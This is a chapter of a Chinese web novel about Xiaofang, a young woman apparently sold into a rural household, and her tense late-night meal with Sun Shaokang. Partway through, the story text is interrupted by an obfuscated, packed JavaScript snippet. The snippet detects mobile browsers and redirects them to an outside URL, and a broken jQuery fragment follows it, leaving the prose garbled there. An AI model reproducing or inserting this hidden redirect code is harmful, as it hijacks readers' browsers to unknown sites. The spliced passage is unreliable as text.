小芳回房间躺下,眼泪怎么也止不住,泄洪似的汪出来。
她拿过枕头盖脸上哭湿了又换一面,等换的这面也哭湿了,再翻过来,之前那面也是湿润润的没干。
她哭了很长时间,落日将最后一线光也从房间里抽离,她的眼泪却还没断流。
外面又响起了烦人敲门声,是孙少康催她出去吃晚饭,“你要修仙?一天一顿都不吃?闹脾气也不是这么个闹法!”
修仙?真能修成仙,像股青烟那样飘出去那可就太好了,可惜了她这副无能为力的□□怎么也不能逃出生天,小芳没理他在外面鬼叫。
她觉得刚才那一下,孙少康应该是看见她落泪了,所以才这样着急忙慌地找上门来耀武扬威,说是来叫她吃饭,实质是来痛打落水狗。
小芳不理他,孙少康又在门外威胁道:“你再不出来,我撞门了!”
“自杀不了,你放心,”她说,“你家房梁那么高,我够得着?”
她的心并没有彻底死亡,她对广州,对流水线还存着一份遥远的念想,那是她走出伍家村的初衷,也是支撑她陷入困境不气馁的希望,人怎么能连梦想的彼岸都没到到达就先言放弃了呢?
“不想死就赶紧出来吃饭!”
“你们这些人心里一天除了三顿饭还有别的吗?”她这几天光是听他两兄弟天天喂饲料地喊自己吃饭就受够了,人要是活得只为那几口食,跟畜生还有什么区别?
做人如此糟蹋地做,那何必浪费一个生而为人的投胎名额?
“人不吃饭,活着干啥?”孙少康说,“你是从广州来的吧,广州的人难道不吃饭?”
无法交流,完全无法交流,这就是现下小芳的唯一感受,她好想说:“你错了,人家那些人吃饭只是为了去做一些别的、有意义的事,而你们做的所有事都是为了那三顿饭!”
她还是在大城市待得太短,对城里人有着想当然地误会。
她悲愤地想,这些没开化的野蛮人是无法理解的,他们连买卖妇女是犯法的都不当回事,你还期望他们懂什么?
“吃你自己的吧!”小芳朝门上顺手扔了个离她手最近的物件,“我饿了我晓得起来动手做给我自己吃,我看见你家两兄弟的脸,再香的饭都吃不下。”
孙少康终于消停了,小芳又放任自己在床上痛快地哭了场,哭得很累,毕竟要压抑着声,那龟儿大致是猜到她是躲在屋里哭了,哭出声来只会让他证实猜想,抓到笑柄嘲讽她。
小芳把自己哭睡了,醒来整个人都带着一种血脉畅通的爽快,仿佛把在广州和这里委屈和痛苦全排除体外,她身心是舒服了,肚子却不合作地闹起来,向她控诉,已经一天一夜没往里面塞东西了。
从床上起来,她一阵晕头转向,险些跌一跤,她忽然感到很奇怪,那么长时间没进食是对身体的伤害,可她也才十九不到啊,哪能虚弱到这种地步?
在伍家村和广州她可是能蹦能跳,帮家里干一天累活,和王国富逛一天广州,沾着枕头睡一晚,体力全回来了,怎么躺着哭还比走路干活都费力了?
身体要是衰落成这样,怎么走得出这里山连着山的黄土坡呢?
她果决地打开门出去要把肚子塞饱。
走到外面看时间快要十一点了,农村这个点鸡狗都各睡各的了。
走到厨房去看还有什么剩下的冷饭冷菜能让她将就凑合两口,可一点剩米剩面都没有,更别提剩菜了,她想,肯定是孙少康故意跟自己作对的,否则怎么会他每顿饭做两个人的份量,一个人吃还干净得耗子都没留一口?
小芳想自己上手,可瞥见那口大锅她就心烦,用那口锅做饭,耗费的体力正好能和吃饱的饭抵消,基本等于白忙一场。
厨房的每一样用具也不是让她能用顺手的。
小芳烦得在厨房直跺小碎步,手里还把锅碗瓢盆给弄得乒乒乓乓的,她饿得不好受,睡着的也别想好好睡。
没一会儿孙少康就从房间里窜出来,揉揉眼睛说:“动静那么大,我还说哪来那么大个耗子!”
小芳知道他是在怪里怪气地贬自己,也不示弱道:“我是耗子你是什么?你是猪啊?一个人吃那么多!”把我那份也吃了。
“你不吃还不让别人吃?”孙少康说。
她神经衰弱不想和他多说,但肚子却丢她脸的叫起来,羞得她无地自容。
“你何必呢?”孙少康看她窘迫地站那里,像犯了错跑不了等着挨训。
她也的确等着他后面难听的讥讽。
可他接下来没嘲笑她,他是真搞不懂女人,白天的时候一天三顿,好吃好喝,还附赠□□地端菜收碗,除了电视上,搁哪儿的农村人家里能有这种待遇?
偏好歹不分,要跟你对着干,你喊她东,她要西,你推她往前走,她犟着非要跟你倒退,即便你全是为她好。
“给你煮碗面行吗?”孙少康听她肚子叫得像造反似的,又心烦又好笑,“等饭蒸好,你等得及,你肚子也等不了。”
小芳“嗯”了一声,倒像她吃了亏委屈。
孙少康把大木头锅盖轻轻一提挂到放它的铁钩上去,给锅里舀上几瓢水,做到大灶前去烧火。
他火烧得利落,后面那片墙都染上火光投上去的橙黄色,暖色的光调使他柔和起来,整个人没有了白天的尖锐。
锅里水很快就沸腾了。
“吃多少?”他手里拿着一把挂面问。
小芳说:“我自己来!”
撒了一大把面下去,孙少康看出她是饿狠了没轻重,用眼睛失准地去衡量肚子的容量,便道:“下那么多,你一会儿又吃不完。”
“你管我吃不吃得完!”凶完,小芳低下头,她觉得自己好不讲道理啊。
孙少康也习惯了,没说她什么,还忍气吞声地洗了几瓣白菜给她加点绿,补充维生素,又跑到外面的烟囱口取下挂的腊肉腊肠,洗干净切好丢面汤里煮,整个厨房散发着面食与腊肉微咸的气味,快要把小芳香迷糊了。
这屋里的烟囱不像伍家村人人家里把砖头砌得直通房顶那种,孙少华和孙少康把施工队里用剩的铁皮拼凑起来,焊了个铁皮烟囱,从墙上开个洞钻出去,风口就挂腌肉,这样熏的腊肉啥味道你能都尝出来。
面煮好了,孙少康三两下地挑进碗里,还动作麻利地给小芳调了个蘸水倒进去。
好大一碗面,盛面的碗都可以拿来放小芳这颗人头了。
“吃啊!”孙少康把沉甸甸一碗面送到她眼前,示意她自己接住。
小芳怕烫着自己没接,不用说,她那平板小肚子,除非剖开了倒进去,否则靠食道那细细一根管,灌吐了她也吃不下那么多。
“你不吃点?”她谦虚礼让地问。
“怎么,”孙少康乐了,学着最近流行电视剧里天津人说话,“敢情你刚才下|面的时候是把我也考虑上了?!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630282|172515||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“当然没有,”她也幽默,“现在把你考虑上了,还来得及吗?”
“我晚饭吃了多少?你心里该有数啊?”孙少康贱贱地说。
废话,他是把自己那份也吃了,她懒得理他,爱吃不吃。
小芳从放碗的柜子里拿出个最小的碗,虽然他们家最小的碗在伍家村也是给年富力强的壮汉吃的。
她自顾自地从他端着的大面碗里给自己挑了些出来,还兴致很好地用汤勺盛了面汤。
先喝了口汤,孙少康手艺还真不错,那蘸水调得完全对她这个正宗西南人的胃口。
“你真不吃点?”小芳多少有点不好意思,大半夜把人吵醒,人家不发脾气还不嫌麻烦地给她做一顿,怎么也该有来有回地客套两下吧?
但很快她转念又想,凭啥?她来这里又不是自愿的,他们不该这样服侍自己吗?嫌麻烦?嫌麻烦放她走啊!
这样一想,小芳原本稍稍让人看着心里舒服的脸又恢复到之前那种人人欠她二五八万的神情,眉梢高吊,是在表示她心里意思:你们活该服侍我!
她一系列神情的变化全被孙少康看进眼里,他指控道:“你这女人简直随时随地发神经,刚才还好好的,怎么这下又甩脸色了。”
“你管我!看不惯?看不惯,你把我脸用胶水固定啊!”
孙少康看她埋头猛吃,说不清道不明地来一句,“慢点,又没人和你抢。”
他以为他又要顶他一句“要你管!”。
但她没说话,现在她嘴没空,孙少康做的这碗面和在伍家村她妈做的几乎没分别,最简单朴素的做法,一般都是家里谁饿得等不住了或是做饭的犯懒,就如此潦草。
这碗面让小芳原本微微平复的思乡情“哗”地又涌上来了,睡醒前才哭完不久的双眼,被汤面热气熏着又压不住了。
“你怎么吃个面都哭?有那么难吃吗?”她把孙少康给整不自信了,跳到碗柜里拿了个碗,把面一挑就往嘴里送,还砸巴了两下纳闷,“就是这个味道啊!”
小芳能说什么?难道没出息地说:“你一碗面把我吃得想家了?”
但她感到那么一丝丝的不对劲,什么就是这个味道?他还特地了解了自己身为西南人的西南胃?
“什么这个味道?”她问他。
孙少康理所当然地说:“你们那边的人不就喜欢这样吃吗?吃啥都要放点剁碎的生辣椒。”
“你怎么知道?”她问。
孙少康觉得她马上又要发神经了,“县城里有你们老家过来的人开的饭店啊。”
“男的女的?”小芳追问。
“问这个干嘛?”他跟不上她极富跳跃性的思维。
小芳眼里已经没有朦胧泪意了,取而代之的是犀利,要把谁戳个对穿一般,她说:“是女的肯定就是拐卖来的!我们那儿哪点不比你们这儿好?要跑到这里开饭店?”
果然,他就知道,他把碗和筷子放下,心口处传来抽抽的疼,不很剧烈,像丝丝牵牵地不好过,他站起来说:“你吃完,想收拾就收拾,不想就放这儿。”
说完他留了个让小芳品味出落寞的背影。
之所以品味出落寞在于小芳不确定她是不是看见他轻微颤抖的右手,可这个人有什么能让他颤抖的呢?
她望着那个背影,碗里的面怎么也吃不下去了。
她弄不清自己是因思乡而吃不下,还是内疚,也或许二者皆有。